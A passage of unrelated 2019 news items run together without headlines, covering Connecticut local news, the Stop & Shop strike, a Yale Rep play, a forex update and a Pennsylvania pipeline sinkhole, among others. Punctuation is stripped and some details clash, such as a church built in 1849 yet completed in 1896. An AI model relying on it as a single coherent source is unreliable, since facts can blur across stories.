passengers have passed through and experienced our facilities. We look forward to welcoming many more in the months and years ahead. The Port of Barcelona celebrated the first call of the AIDAnova today with the traditional plaque exchange. The AIDAnova is the first cruise ship to run on LNG in port and at sea. "We are very proud to operate the most environmentally friendly cruise ship and will continue along this path," said Felix Eichhorn, AIDA Cruises president, in a prepared statement. Along with Captain Boris Becker he welcomed port representatives, industry and tourism officials onboard the ship. The AIDAnova will be bunkering in Barcelona during her summer season, sailing until November 2019. In addition, the LNG-fueled Costa Cruises Costa Smeralda will launch service in the Mediterranean in October ad will also be calling at Barcelona. Both AIDA and Costa are part of the Carnival Corporations Costa Group. Photographer Mark Weiss has created iconic images of rock and rolls elite, including Bon Jovi, Freddie Mercury, Bruce Springsteen, Ozzy Osbourne and dozens more. Recently, Steve Lacy, Fox 5 New York City anchorman, has taken images from Weiss legendary photo archive and turned them into signature, one-of-a-kind screen-printed canvas artworks. These works will be a part of Weiss Good Times, Big Hair exhibit of 80s rock photography at Greenwichs C. Parker Gallery. The opening reception is Thursday, May 16, and the exhibit runs Friday, May 17, through Sunday, June 2. Brian A. Pounds / Hearst Connecticut Media The state Department of Public Health said the flu, which has claimed another life, remained widespread in Connecticut during the 16th week of the year. The weekly flu report was updated Thursday for the week ending on Saturday, April 20. BRIDGEPORT Three people were arrested after a street fight that caused a 10-32 call in the city Friday morning. The 10-32 call is made when an officer is in need of assistance. Every available officer responds when the call comes across the police radio waves. The fight broke out around 11:30 a.m. in the 600 block of East Main Street. An officer spotted the fight on East Main Street across from Hamilton Street while working a road job and called in a 10-32. Multiple police units responded and started to interview witnesses about the fight and check video camera footage from a local business, leading to the arrest of three of the people involved in the fight. Joshua Collet, 22, was charged with first-degree criminal trespass and second-degree breach of peace. Jesus Daniel Villafane, 35, was charged with third-degree assault and second-degree breach of peace. Jesus Manuel Villafane, 35, was also charged with third-degree assault and second-degree breach of peace. It was unclear beyond those three if any others were involved in the fight. Collet and Jesus Manuel Villafane were taken to a city hospital for treatment of injuries from the fight. Jesus Daniel Villafane declined medical attention. The trio were given misdemeanor summons, police said. Ned Gerard / Hearst Connecticut Media BRIDGEPORT A victim of a recent assault remains in the hospital in serious condition while detectives work to figure out what happened to him. Police said Thursday the male victim, who was found near the corner of Park Avenue and State Street around 6 p.m. Wednesday, sustained several fractures to his face and head. He was taken to the hospital in serious condition. There was no further information about the victim provided. HARTFORD While Connecticut has passed legislation in recent years to strengthen laws on gun ownership, those who champion the issue concede there is only so much a law can do to stem gun violence. A panel of advocates, legislators, and health care providers discussed that dilemma Monday at a roundtable on gun safety organized by House Majority Leader Matt Ritter, D-Hartford and Rep. Jillian Gilchrest, D-West Hartford. Several health care experts stated that gun violence needs to be treated like an epidemic, like any other mental health or drug addiction issue. One of those pushing that narrative was William Begg, the emergency medical services director at Danbury Hospital, which is located about 10 miles from where 26 people were killed at Sandy Hook Elementary School in December 2012. Begg, who was in the emergency room the day of the shooting, said that health care providers need to feel comfortable having conversations with our patients about guns and the accessibility of guns in the home. He said the doctor shouldnt suffer any repercussions for asking those questions. He said he wasnt sure that legislation was necessary to ensure doctor safety for such conversations, but he and others reiterated that physicians and other health care providers need to be able to ask questions. Connecticut Against Gun Violence Executive Director Jeremy Stein added: We need to spend money on what is the cause of gun violence and do the same thing weve done with any other health crisis. But the reality is that Connecticut, while it has passed tougher gun laws over the past few years, has not increased funding for mental health programs. Gov. Ned Lamonts budget flat funds the Department of Mental Health and Addiction Services. Po Murray, chair of the Newtown Action Alliance, said educating people about the dangers of guns needs to become more of a priority for the country. The alliance is a national grassroots organization formed to reduce gun violence after the Sandy Hook Elementary School shootings. It is based in Newtown. We need to engage in a public relations campaign for decades to come, Murray said. She and others talked about how the country decided decades ago that wearing seatbelts in cars was a priority, but that nobody took the issue seriously until a massive public relations campaign pushing the initiative was launched. Begg, who has trekked to Washington, D.C. to testify before federal officials in favor of tougher gun laws, said another strategy he thinks would help those who want to see Connecticut continue to be a leader on gun legislation initiatives is to not treat gun owners as the enemy. We have to engage with gun owners, Begg said, adding that they are nice, reasonable people who, just like those who want tougher gun laws, do not want to see innocent people harmed by gunfire. While the panel agreed that legislation isnt the answer to all the gun violence in the country, they agreed it plays a part. Ritter noted that four different gun control laws have passed through the Judiciary Committee and are headed to the House. Its an important topic (gun laws) that Connecticut continues to be a leader on, Ritter said. Two in particular Ritter mentioned include HB 7218 regarding the safe storage of firearms and another, HB 7219, regarding homemade firearms. On firearm storage, Ethans Law which would would require all firearms, loaded and unloaded, to be safely stored in homes occupied by minors under 18 years of age has been sent to the House for consideration. The bill would allow prosecutors to criminally charge the owner of a gun that isnt properly stored. Connecticuts current safe storage law only requires that loaded firearms be properly stored if a minor is likely to gain access to the firearm without the permission of the parent or guardian of the minor. Ethan Song, of Guilford, died of a self-inflicted gunshot. He accidentally shot himself in the head, the Waterbury states attorneys office said after concluding its investigation. A juvenile friend of Ethans was charged with second-degree manslaughter in the death. The other bill that Ritter noted was one banning so-called ghost guns, which are essentially homemade firearms. There were several versions of the ghost gun bill but of those, HB 7219 was voted out of committee. Those pushing gun safety laws say they are particularly dangerous since there has been no inspection process and the weapons dont have a serial number. They also arent recorded as a gun sale, making them impossible to trace if the firearm is used in a crime, lawmakers said. Both bills are awaiting action in the House. BRIDGEPORT The anxiety police officers felt safeguarding the city for three years without a contract has been transferred to the City Council members who have to find the money to pay for the new pact. When Mayor Joe Ganim in a prepared statement Wednesday night announced he and Bridgeports Finest reached a five-year agreement, hizzoner did not mention the five years of pay raises: 1 percent, 2.5 percent, then 2 percent for the balance. And three of those wage hikes are retroactive to July 1, 2016, when the police unions last collective bargaining deal expired, adding up to a total 7.5 percent pay increase come the start of the new fiscal year this July and 9.5 percent by July 1, 2020. In contrast, the police union in January 2018 voted down a four-year contract that had a pay freeze in the first year and salary increases in years two, three and four. Its a fair contract for both the members and our city, Police Sgt. Chuck Paris, the union president, said Friday after releasing the details of the raises to Hearst Connecticut Media. Its really tough to be a police officer at this period of time. It helps. ... It is a morale boost. But that deal comes as the councils Budget Committee holds its final meetings on Ganims proposed 2019-20 budget and the election-year tax cut the mayor built in. Ganims budget also flat-funded for the fourth year in a row the struggling Bridgeport Public Schools. Educators said they would have to close schools because of an $11 million shortfall among other cuts. The full council is expected to vote on a final fiscal plan the first full week of May. Council President Aidee Nieves and Council member Maria Zambrano Viggiano, a budget committee co-chair, indicated Friday the police pact puts the mayors proposed $150-per-household tax break at risk. This will create the framework for the next week and a half for the budget committee to decide whether we keep the tax cut the mayors proposed or keep the tax rate the same, Nieves said. Nieves and Viggiano expected to learn the cost of the raises from the Ganim administration Saturday. Viggiano anticipated the amount will easily be several millions of dollars. Meanwhile the cost of the mayors tax break, proposed as he seeks another four years in office and council members another two, is known: $4.5 million. At this point its looking unrealistic in terms of the tax cut, said Viggiano, whose committee was already under pressure to find more dollars for education, police overtime and other departments needs. Viggiano noted the mayors budget also assumed $8 million in state aid and were not sure thats all going to come in. Viggiano also expected the retroactive raises for the police will result in retroactive overtime payments. This (police contract) has a ripple effect in many directions we may not fully understand yet, she said. Concessions Ganim Wednesday called the proposed agreement fair compensation for the police officers and in the best interests of the city. The contract is intended to save the administration money and increase budget revenues. Ganim said he prevailed in convincing the union to curtail overtime by reducing from eight to four the mandatory hours an off-duty officer called in on a day off must be paid. And while officers working outside overtime for construction contractors or utility companies working in Bridgeport will see their hourly $56.23 rate rise by $1, the proposed contract simultaneously ups what those contractors and utilities reimburse the city for use of those cops by $6 an hour, Paris said. Back in January 2018, Paris attributed the defeat of the four-year contract to newer recruits frustration with health costs. The city has been asking new officers to increase their contributions currently around 32 percent by 1 percent per year, capping off at 50 percent. The proposed five-year pact would freeze that climb from July of this year until July 1, 2020. I know from our experience and speaking with officers, thats one of the main reasons they are considering leaving or perhaps not even applying, because of the high cost of health care, Paris said. Also the contract limits the amount of time officers under investigation can be placed on leave to 180 days unless there is an agreement with the city. The union pushed for this to expedite months-long internal probes that leave their targets in limbo. (Currently) theres no limitation for administrative status, Paris said. Certain individuals have been out two years or longer. Addressing Nieves and Viggianos concerns about the budget impact of the raises, Paris said, Our officers are still in the low percentage of what other police officers get across the state. While the Budget Committee tries to factor in the contract to its deliberations, the full council will eventually vote on it. Councilman Peter Spain, who represents the high-taxed Black Rock neighborhood and has been calling for more education spending, said Friday, How can the mayor agree to millions in raises and offer a $4.5 million supposed tax cut when his budget leaves a $11.5 million hole for our schools and the 20,500 children they serve? If the Council doesnt fix this, then it will be left to the voters to replace them and the mayor, Spain said. Ganim, who was elected in 2015 with help from Paris, then-police-captain-turned-Chief Armando Perez, and the cop union, faces re-election challenges from fellow Democrats state Sen. Marilyn Moore and state Rep. Charlie Stallworth. Asked if the police will back Ganims re-election, Paris said it was too soon to commit. But, he added, It helps we have a contract (and) he always was open to talk about and discuss these (contract) issues. It was back to business on Monday as Stop & Shop workers and customers returned after an 11-day strike. Stop & Shop and five unions representing 31,000 workers reached a tentative agreement on a three-year contract Sunday. Although the agreement still needs a ratification vote by members, the unions asked workers to return to work. On Monday morning, workers were stocking produce and perishables at the Whalley Avenue Stop & Shop in New Haven, erasing the lingering aspects of the strike. Cashier Helen C. Powell said she was glad to be back to work. Between 8 and 8:30 a.m., she had her first customers. Im happy. Eleven days on that line it was an experience, Powell said. Stop & Shop, and its parent company, Ahold Delhaize, declined to release the deal in its entirety or reveal major contractual elements. The United Food & Commercial Workers union followed suit in response to a Hearst Connecticut Media request, on grounds of giving its members the first opportunity to view the proposed contract. The UFCW issued a statement, however, saying health care and retirement benefits for employees were preserved as part of the proposed contract, while wage increases are provided and time-and-a-half pay on Sunday for current members will be maintained. Stop & Shop said in a statement that the tentative three-year agreements include increased pay for all associates, continued excellent health coverage for eligible associates and ongoing defined pension benefits for all eligible associates. John Merritt, an employee at the Westport Stop & Shop, said he felt relief when he first heard of the agreement reached by the unions and the company. Were glad to be back and getting this place up and running again, Merritt said as he was scanning items in the produce section. Customer support has been excellent. In Greenwich, the picketing had ceased and shoppers crowded the aisles of the Stop & Shop on West Putnam Avenue, even though the shelves were not full, as was the case in many locations across the state. Audrey Roco said she was happy to see the labor issue resolve. Its a good thing, she said, loading up her vehicle. There were a few items I wanted they didnt have. Some of the shelves werent fully stocked. At many stores across the state Monday, the produce section was one of the worst hit, along with the deli and bakery. The Stop & Shop on Fairfield Avenue in Bridgeport had slim pickings for shoppers like Glenda Torres and Susan Fehlinger, both of Bridgeport. Produce, deli, meats, dairy and the bread aisle were nearly bare. Its their first morning back, said Fehlinger, so thats to be expected. During the past two weeks Fehlinger mostly shopped at Whole Foods. Torres spent the last two weeks mostly at Gala Foods, but preparing for Easter had her running around. I had to go to three or four other supermarkets to get what I would have gotten here, she said. In addition to Gala, Torres did her Easter shopping also at Price Rite and Save-A-Lot. At the Amity Road Stop & Shop in New Haven, customer Regina Wolf said she did not shop for groceries during the strike, preferring to subsist on what she had in stock. Her parents taught her at a young age not to cross a picket line, she said. I will not cross from the time I was a child, Wolf said. Working people are trying to survive. In Norwalk, Elizabeth Gibbs expressed a similar sentiment. Im very glad the strike is over, because I couldnt shop there while workers were on strike, said the Norwalk resident of more than 54 years. Inside the Stop & Shop at 380 Main Ave. one of two branches in the city workers set about getting the store in working order as customers slowly trickled in. Around noon, employees could still be seen scrubbing away at a produce section devoid of any product, as they prepared for shipments expected to arrive later in the day or tomorrow. Workers throughout the store could be seen restocking bare shelves. The strike rivals the Sikorsky Aircraft strike of 2006 as the largest impacting Connecticut over the past three decades. During the six-week strike at the Stratford helicopter manufacturer, 3,600 employees walked off the job, including a contingent in Florida. The next two largest strikes to hit Connecticut were by nursing home workers in May 2001 and construction workers in June 1994. Victor Sagendorf, who served as the CWA Local 1298 strike captain in Danbury, said he was elated to hear that he and his colleagues would not have to strike a 12th day. It was euphoric. I couldnt get to my phone fast enough to start calling all my fellow employees and spread the word, said Sagendorf, a full-time meat-cutter at the Lake Avenue Extension Stop & Shop. Sagendorf said it hasnt been difficult to get back into the flow of things. The store manager was right there at the doors waiting for us, welcoming us in with open arms, he said. Its all behind us now. Everybodys just moving forward and getting back to business doing what we do. Stop & Shop union steward Terry McCaffrey at Stamfords Ridgeway Shopping Center also said he was happy to be back at work especially after putting in longer hours on the picket line than he normally does at the store. We got what we wanted and we are able to keep our insurance intact, McCaffrey said. Customer Michael Mansi, of Stamford, said his daughter Emily works at a Stop & Shop in Seymour and he was proud of her. Mansi, who was going into the store to use the Peoples Bank branch inside the store, said he was a union member himself and would not cross the picket line over the past week and a half. Im happy they worked out their differences. I was impressed with the resolve of the union. They needed to stick together and they did, Mansi said. In Fairfield, the store-wide speaker announcements were back on Monday afternoon and the parking lot which last week was nearly empty with less than 10 cars had triple that amount at the 1160 Kings Highway cut-off Stop & Shop. Sam Farina, one of the strike captains, said he was humbled by the support of the community and was happy to be back in the store. It was a very humbling experience, Farina said as he was organizing oranges in the fruits section. Both sides compromised and thats what comes with negotiations. Staff writers Ben Lampert, Michael P. Mayko, Kendra Baker, Rob Marchant, John Nickerson, Pat Tomlinson, Humberto Juarez, Alexander Soule and Jim Shay contributed to this report. It takes a woman, sing the men in Jerry Hermans 1964 musical, Hello, Dolly! Well, it takes a gang of women to bring Cadillac Crew to Yale Repertory Theatre, where Tori Sampsons play officially opens Thursday, May 2, in its world premiere. Sampsons crew includes director Jesse Rasmussen, a cast of four women and the unsung women who inspired the plays characters. I knew I wanted to talk about the void in womens history, Sampson said last week while X-raying the plays spine. Cadillac Crew, in previews starting Friday, April 26, and running through May 18, takes place at the same time that Dolly! started minting money. Yet its set in a very different world, as Sampsons play explores the dynamics of four African American female civil rights activists working together in an office in Virginia at an anxious hour. I was reading a biography of Dorothy Height, said Sampson, citing her initial inspiration for her play, who, aside from being an amazing activist and the leader of the National Council of Negro Women, she was also the past president of the sorority I belong to (Delta Sigma Theda), which is the largest Black Greek organization in the world. Anyway ... she mentioned something about Cadillac crews that carried these women to integrate the South, said Sampson, adding that their primary task was registering black voters. I found that interesting. It really hooked me. I began to do a lot of research after that. The play opens on the day in 1964 when Rosa Parks comes to town to deliver a keynote speech on civil rights, specifically womens rights. While the four characters Abby (Dria Brown), Dee (Ashley Bryant), Sarah (Bronte England-Nelson) and Rachel (Chalia La Tour) eagerly await Parks arrival, they question whether recent civil rights legislation will include women. Yale Reps premiere production allows Sampson to once again collaborate with director Rasmussen, with whom Sampson has partnered previously while both were students at Yale School of Drama. Rasmussen, born in Melbourne, Australia who lived on and off there as well as in California, recalls her initial impression of Sampson during that first week of graduate school. I met Tori in Paula Vogels Bake-Off playwriting boot camp, Rasmussen said. Tori just floored the room with her play, which I think was the first time she had heard a play of hers read aloud. It was a group of playwrights and some directors, she said. It was a room full of really, really brilliant people, including some kind of famous playwrights. And everyone just stopped and couldnt kind of comprehend Toris magnificent play. Shes sort of a reserved person. We quickly formed a bond, the director said. I rapidly fell in love with her plays, her work and her brain. Since Rasmussen collaborated twice with Sampson at YSD, she had a feel for the vivacious characters born in Cadillac Crew. Lets see. I worked on two plays of hers that fall into a triptych of her history plays, Rasmussen said. One is set in the 1950s that I worked on a little bit in school; and one set in the 1970 that I also directed at school. And this is the play that falls right in the middle in the 1960s. Rasmussen, while serving as co-artistic director of the Yale Summer Cabaret in 2016, invited Sampson to deliver a new play for a staged reading. Sampson responded with an early draft of Cadillac Crew. It was wonderful to have a one-night reading of it, said Rasmussen said, expressing gratitude to Yale Rep for the opportunity to continue collaborating with Sampson on the plays premiere production. It was a packed cabaret and a very moving experience. According to Rasmussen, who directed Sampsons This Land Was Made as part of the drama schools Langston Hughes Festival, each of Sampsons trilogy explores or goes about examining and reimagining with a great deal of research, various moments of activism in history that feature the voices of black women left out of that narrative, historically and purposely. Though Rasmussen and Sampson, who hails from Boston, come from dissimilar backgrounds, they are kindred in their mutual passion for language, research and detail, as the playwright explained. So, Im a black, female writer, and I write plays for black females, Sampson said. Thats my background, thats my history. Im interested in the nuances, the minutia and celebrating black womanhood on stage. And so Jesse comes from a different world from that, and she understands that, and she does her actual research. Shes very good with language, no matter what it is, Sampson said. If its a play Ive written, or Shakespeare. Rasmussen cites Sampsons dexterity with snappy dialogue, which lifts the four characters right off the page in Cadillac Crew. Moreover, Sampson composes them all with strength, smarts, vulnerability and humor. Tori can break apart and re-imagine what women in this time and place of the 1960s might have sounded, looked, moved like behind doors at the office, Rasmussen said. I think thats one of my gifts as a writer, as a storyteller, said Sampson, that I have a knack for dialogue. Ive also been, my entire life since a kid, Ive been really interested in communication. I grew up in the Deep South, I grew up in Mississippi, in North Carolina. So those idioms, a lot of that dialogue, the structure of sentences and the rhythms are very much a part the conversations that I was around growing up. But Ive always infatuated with language. Rasmussen said Sampson is just the correct playwright for fleshing out and lending voice to the bygone heroes that, up until now, mainstream history chose to ignore. I just love that this play features four women who are being summoned through Toris lens with consummate wit and unapologetic intellect, she said. The gift is these four women. E. Kyle Minor is a Register theater writer. ANSONIA At a time when many local churches are either closing or merging due to declining membership, Christ Episcopal Church is standing strong. The historic Gothic-style church will celebrate its 170th anniversary this year. Church leaders are inviting the community to celebrate the milestone this weekend. Following the 10 a.m. service April 28, church members will plant celebration banners outside the church, at 56 S. Cliff St., bringing the monumentous occasion to the publics attention. Our church is celebrating 170 years of existence ... incredible in and of itself, so it is time to celebrate such a milestone, said longtime parishioner and former Mayor Nancy Valentine, who serves as the churchs senior warden. We are planting 4-foot by 6-foot banners to bring this to the attention of the community as we have many events being planned for the upcoming year. Our motto is Celebrating the Past ... Believing in the Future, and we hope the community will come in to see what goes on behind our red doors. The architecture of our church is as magnificent as its members. Valentine said she is collecting stories from parishioners to share in a commemorative booklet that will be published this fall to mark the churchs journey. The current church was built in 1849 on land gifted by local industrialist Franklin Farrel. It was constructed of Ansonia granite and New Jersey graystone, with seating capacity for 650 people, and was completed in time for Christmas services in 1896, according to the churchs website. I have been a member of this parish for 10 years and find the stories fascinating of parishioners tales I always hear, so I am collecting stories to share as part of our ongoing history as we tell our story of this milestone in history, Valentine said. Those whod like to share a memory for the booklet can submit them to Valentine by email at nvbv@hotmail.com or by mail: Nancy Valentine, 18 Farrell Drive, Ansonia, CT 06401. Valentine added that the church will be holding several events during the year that will culminate with a visit from Bishop Ian Douglas on Dec. 1, which will also include a celebration of the 2019 confirmation class. Members of the church pride themselves on participating in many outreach programs, Valentine said, including feeding the homeless, collecting food for the Kathleen Samela Memorial Food Bank, cooperating with the Valley Social Club, supporting the Heifer International Project to end hunger and poverty and participating in charitable activities of the Episcopal Diocese of Connecticut. The church also has a mission relationship with a parish in Tacusa, Ecuador. jean.sos@snet.net With all of the talk around credit unions regarding business model disruption, it seems the same conversation should flow to credit union chapters. Weve all joshed about Chapter Chicken, the 50-50 drawing, and how the same colleagues we saw at work just an hour before are sitting at the same table again. Perhaps, its time for some change at your chapter. If so, below are five ways that five chapters are disrupting their models to remain relevant for their members. Networking is the main reason people show up . A chapter in Texas designs meetings around networking for specific areas branches, lending, sales, technology, etc. All are invited, but the focus is singular each meeting. Average attendance rose and membership grew, even though members do not attend each monthly meeting. Meetings dont have to be the same . A chapter in Florida hosts one sit-down dinner each year. One. The rest of the meetings are mixed: early morning breakfasts; casual lunches at credit unions; and, a steak fry during the summer. For a twist, the chapter hosted a focus group of actual credit union members. Live, they heard exactly what members want. Trends and fresh takes on business provide the most value in programming . A California chapter teams up with credit union consultants, when in town. The chapter arranges for an education session during the day and a high-level conversation for chapter members in the evening. Chapter members get an outsiders view followed by insiders discussion. Casual and active meetings appeal to young professionals (and all of us, for that matter) . An alliance of Midwest chapters held several meetings at technology hubs in the city. Even more, the chapters created 20 minutes of Speed Meetings five focused minutes with four new people on the same topic. Connections developed and new ideas were refined through others. C-level speakers attract C-level attendees . An Illinois chapter hosts CEO-panels, but also invites out-of-area CEOs to town for their take on the credit union industry. To encourage greater CEO attendance, the guest CEO leads a CEO-only session before the chapter meeting. CEOs gain value through discussing issues that affect all CEOs in the room. The purpose of credit union chapters is to facilitate a community of professionals and volunteers. The chapter model requires just as much attention as our credit union business models. To continue adding value for your chapter members, mix up your meetings with intent. Your commitment to a fresh approach provides the kind of value that will drive demand for your chapter. Everyone faces limitations, whether they are imposed naturally or externally. Phil Hansen has created a life defined by embracing those limitations and using them as inspiration for creativity. Hansen, multimedia artist, speaker, author, and innovator, will address CUNAs 2019 Americas Credit Union Conference, June 17-20 at Walt Disney World Resort in Florida. After developing a career-threatening tremor in his drawing hand, Hansen feared his art career was over until a neurologist suggested he embrace the shakeor transform this challenge into an opportunity for success. According to business media, the U.S. will soon be the worlds number 2 oil exporter. Why are we sending oil overseas when we need to lower gas prices here? Has it really been 46 years since the pentagon removed the last combat troops from South Vietnam, thus ending Americas military involvement in the Vietnam War? The date was March 29, 1973. Sherburne County in Minnesota has agreed to give a property tax break for Google to help bring a new $600 million data center to the City of Becker. Now, who among you believe Culver City didnt give up money to get Apple and Amazon to move here? As sure as God made little green apples, its my feeling that if we gave away the cookie jar, then taxes will go up again or city services will go down, and perhaps both. The White House Fiscal Year 2020 Proposed Budget cuts Education Funding by $62 billion. How can it be? Twenty years after it was declared eradicated, measles is nearing a record. Thus far this year, almost 400 cases have been reported in 15 states. Have you spent time behind bars and now need a second chance? Then, check out Pioneer in Seattle; they offer training, mentoring, education, plus a good paying job for former felons. By 2035, the Census Bureau expects the number of Americans 65 and older will outnumber children 18 and younger. It wasnt that long ago that the Trump administration announced plans to transfer some surplus military equipment to police departments here, there and where ever. When the new policy change became effective, I asked our police department and was told that it doesnt need or want battlefield style stuff. It was just plain mean what the City of Los Angeles tried to pull on the homeless. It was on June 19, 2014 that three judges from the United States 9th Circuit Court of Appeals ruled unanimously that a city ordinance prohibiting people from living in vehicles was unconstitutionally vague. It was only 71-years ago -- 1948 to be sure -- that the Supreme Court ruled that covenants prohibiting the sale of real estate to blacks, or Jews or other racial groups were legally unenforceable. For all your history types, this year marks the 65th anniversary of the Battle of Dien Bien Phu which began during the First Indochina War as Viet Minh forces attacked French forces in 195 -- and the French lost. I remember the summer of 1961 like it was yesterday when the U.S. Army was drastically increasing the number of advisors and looking for volunteers. Did you read about The City Council in Meridian, Mississippi, which voted to cut the salary of Chief Administrative Officer Richie McAlister to $0, citing his performance. China claims to have flown a hypersonic missile or one that flies at 4,500 miles per hour. China joins the United States and Russia with that capability. For those who missed an article, all my commentaries can be found at http://www.culvercityobserver.com; strolling down the page and underneath Opinion look for Rubenstein STORY LINK Pound Australian Dollar (GBP/AUD) Exchange Rate Falls as Australian PPI Figures Fall Below Consensus GBP/AUD Exchange Rate Increases as Fears of RBA Rate Cuts Haunt Australian Markets GBP/AUD Exchange Rate Rises as Foreign Secretary Says No Deal is Better than No Brexit GBP/AUD Forecast: Sterling Could Rise on Signs of a Fourth Meaningful Vote Like this piece? Please share with your friends and colleagues: The Pound Australian Dollar (GBP/AUD) exchange rate is edged higher today and is currently trading around AU$1.8355 on the inter-bank market.The Australian Dollar (AUD) fell against Sterling (GBP) today following the publication of the Australian Producer Price Index figures for the first quarter, which slipped below consensus to 0.4%.These were followed by the yearly PPI figures which also fell below forecast.However, speculations over a possible near-term rate cut from the Reserve Bank of Australia (RBA) is continuing to weigh on the Aussie today.Joseph Capurso, a Senior Currency Strategist at the Commonwealth Bank, commented:The interbank futures market is pricing two rate cuts by the RBA by the end of 2019. While financial markets are pricing a RBA rate cut cycle [the Aussie to weaken].Iron ore prices, of which the Australian economy is highly sensitive to, stabilised on Thursday, with minimum movement seen across the grades. This has leant little support for the AUD/GBP exchange rate.The Pound, meanwhile, gained on the Aussie following the publication of the UK BBA mortgage approvals figures for March, which rose to 39.980K.Brexit news has come to a standstill as cross-party talks between the Labour and Conservative party this week have shown little development.Meanwhile, Jeremy Hunt, the Foreign Secretary, has said that a no-deal Brexit would be better than staying in the European Union.Hunt said:As far as Brexit is concerned, my view is very straightforward. We have to leave, leave quickly and leave cleanly If there was a choice between no deal or no Brexit I would choose no deal because I think the democratic risk of no Brexit ultimately is higher than the economic risk of no deal.Controversy has also sparked up in the Conservative party following a controversial leaking of details of a vote that took place during a National Security Council Meeting.Former cabinet secretary Gus ODonnell described the leak as incredibly serious, saying that this issue is massively important for the country.During a time of political volatility surrounding Brexit, this is weighing on confidence in the Conservative party and on Theresa Mays leadership, as trust is increasingly being eroded in matters of national security.Aussie traders will be looking ahead to next week, which will see the US and China once again restart trade talks.And with the Australian economy particularly reliant on the Chinese economy, any signs of a breakthrough between the two superpowers would see the Aussie strengthen on renewed risk appetite.Tuesday, meanwhile, will see the publication of the Australian AiG Performance of Management Index for April.Sterling traders will also be looking forward to Tuesdays printing of the GfK consumer confidence figures for April.The GBP/AUD exchange rate is likely to remain dictated by Brexit developments next week, and with any indications of the government going ahead with a fourth meaningful vote could buoy Sterling traders confidence in a breaking of the political deadlock. International Money Transfer? Ask our resident FX expert a money transfer question or try John's new, free, no-obligation personal service! ,where he helps every step of the way, ensuring you get the best exchange rates on your currency requirements. TAGS: Australian Dollar Forecasts Pound Sterling Forecasts Santa pays an early visit to Bakersville atop fire truck Santa said kids asked him for LEGOs, dolls, a puppy and a fire truck like the one he rode. MIDDLETOWN Delaware County foes of the Mariner East pipeline now have something in common with their Chester County counterparts sinkholes. A subsidence (collapse, cave-in) or sinkhole was discovered along the route of the Mariner East 2 pipeline along Baltimore Pike near the Troop K State Police barracks, according to county and township officials. The 12-foot-by-12 foot swimming-pool sized gash occurred at about 3:30 p.m. in the right of way for the Sunoco/Energy Transfer Mariner East pipeline. No injuries were reported and no pipelines leaked. According to Mark Kirchgasser, chairman of the Middletown Township Council, neither of two pipes now operating was exposed. An 8-inch pipe is carrying petroleum and a 12-inch pipeline is still shipping highly volatile fuels. Kirchgasser also said the hole was quickly filled in with flowable fill, to stabilize the sinkhole, along with topsoil by 9 a.m. Thursday. In much of Chester County, where there are 23 miles of ME pipeline, Sunoco/Energy Transfer Partners drills and digs through karst or limestone. The impacted area in Delaware County is composed of extremely solid granite. It is purely speculation that old pipe in ground collected water over the course of time and created the erosion, Kirchgasser said. He also said that the Public Utility Commission will likely issue a report in 7-10 days with a likely determination of cause. The PUC will use geophysical imagery to determine the extent of the sinkhole, if there was impact on pipe and to determine a cause, he said. Representatives of the township, Delco Emergency Management, DEP and PUC nearly immediately met at the site. A safety investigation has been launched by the Pipeline Safety Division of the Bureau of Investigations and Enforcement. The division is performing an investigation independent from the PUC. Sunoco spokesperson, Amanda Gorgueiro responded Thursday morning: A subsidence feature did occur yesterday along our right of way in this area. The appropriate regulatory agencies were notified and an investigation determined our pipelines in the area are safe and secure. Nothing was exposed. The area was immediately contained and grouted. We have placed personnel in the area to continue to monitor the area. Our pipelines remain in service. State Rep. Chris Quinn R-168, released the following statement: This sinkhole is disappointing, but unfortunately not surprising. Incidents like this have become a pattern for Sunoco and the Mariner East 2 pipeline. This is why I am calling for a halt to construction of Mariner East 2 until the engineering and environmental studies for the project can be reevaluated and possibly reconducted where necessary. Public safety is at risk, and we must do everything we can to protect our citizens. I have contacted the governor imploring his administration to force a halt to construction, and I am hopeful that he will do so. House Bill 888, which I have introduced, would require that the entirety of a pipeline be inspected following any incident to ensure that any potential future problems could be prevented before its too late. I am hopeful that my colleagues in the Legislature will join me in supporting this bill that seeks to protect residents along the pipelines. State Sen. Tom Killion, R-9, addressed the new sinkhole. Regardless, this is yet again another example of the dangers associated with this pipeline, Killion said. I continue to have deep concerns about the safety of this project. One pipeline incident could be absolutely devastating to local residents. For example, this sinkhole occurred a few feet from one of the busiest roads in the suburbs. I have called on the PUC to enforce a shutdown of the pipeline until stringent safety standards have been met, and Ive also joined residents in a PUC complaint to force tough new safety measures for the pipeline. The pipeline is a top issue for residents, and we need to do everything possible to ensure the safety of our families. State Rep. Leanne Krueger, D-161 also commented. Once again, Sunoco Logistics/ETPs blatant disregard for the private property of home and business owners has ended up in the news, she said. This time, the proximity of a sinkhole in Delaware County could have threatened the safety of state troopers. When will ETP get the message that what theyre doing is destructive to our communities, destructive to our environment, and dangerous? This latest in a series of Mariner East sinkholes makes clear that the process for approving pipelines in Pennsylvania is broken, Joseph Otis Minott, executive director and chief counsel of Clean Air Council said. How many times can pipeline operators put lives at risk before we take decisive action? Until PUC, DEP, and the rest of state government can come together and fix the process, we should not be rushing forward with more new pipelines. Also, in other related news, Sunoco was denied on a request to restart drilling in Shoen Road, Chester County. PUC denied that approval Thursday morning with a 5-0 vote in a public meeting of the Commissioners, according to the Clean Air Council. Restart of construction at Schoen Road and additional locations had been prohibited by PUC Administrative Law Judge Elizabeth Barnes in May of 2018 in the case of State Senator Andrew E. Dinniman v. Sunoco Pipeline, L.P. The commission voted unanimously to defer action on the request to the Commonwealth Court of Pennsylvania, citing that it lacked jurisdiction to consider the request. As a result, the injunction on construction at Shoen Road, where residential wells were negatively impacted due to pipeline construction operations in 2017, remains in effect. Sunoco wants to have it both ways, Dinniman said. On one hand, they wanted to tie the case up in the higher court and challenge my standing. On the other, they want to move forward with construction in an area where theyve already negatively impacted residents. Fortunately, the PUC saw through this and made the right decision. PUC Administrative Law Judge Elizabeth Barnes first ordered the injunction, among others measures, as a result of Dinnimans successful petition to halt operations of the Mariner East pipeline operations in May of last year. In siding with Dinniman at that time, Administrative Law Judge Barnes agreed that the ongoing construction of the problem-riddled pipeline project in a densely populated, high-consequence area constitutes an emergency situation which presents a clear and present danger to life or property. At Sunocos request, the case is currently on interlocutory appeal in Commonwealth Court where its attorneys are challenging Dinnimans standing. As result, all proceedings in the case have been put on hold at the PUC. Thankfully, in the case of Schoen Road, Sunocos own delay tactics have backfired, Eve Miari, Advocacy Coordinator at Clean Air Council said. But residents living along all parts of the route need protection now. PUC needs to shut down the Mariner East pipelines. There's something about the words Customer Care Team that shrivels the vital organs and fills the soul with foreboding. Perhaps Ive just been unlucky, but I have 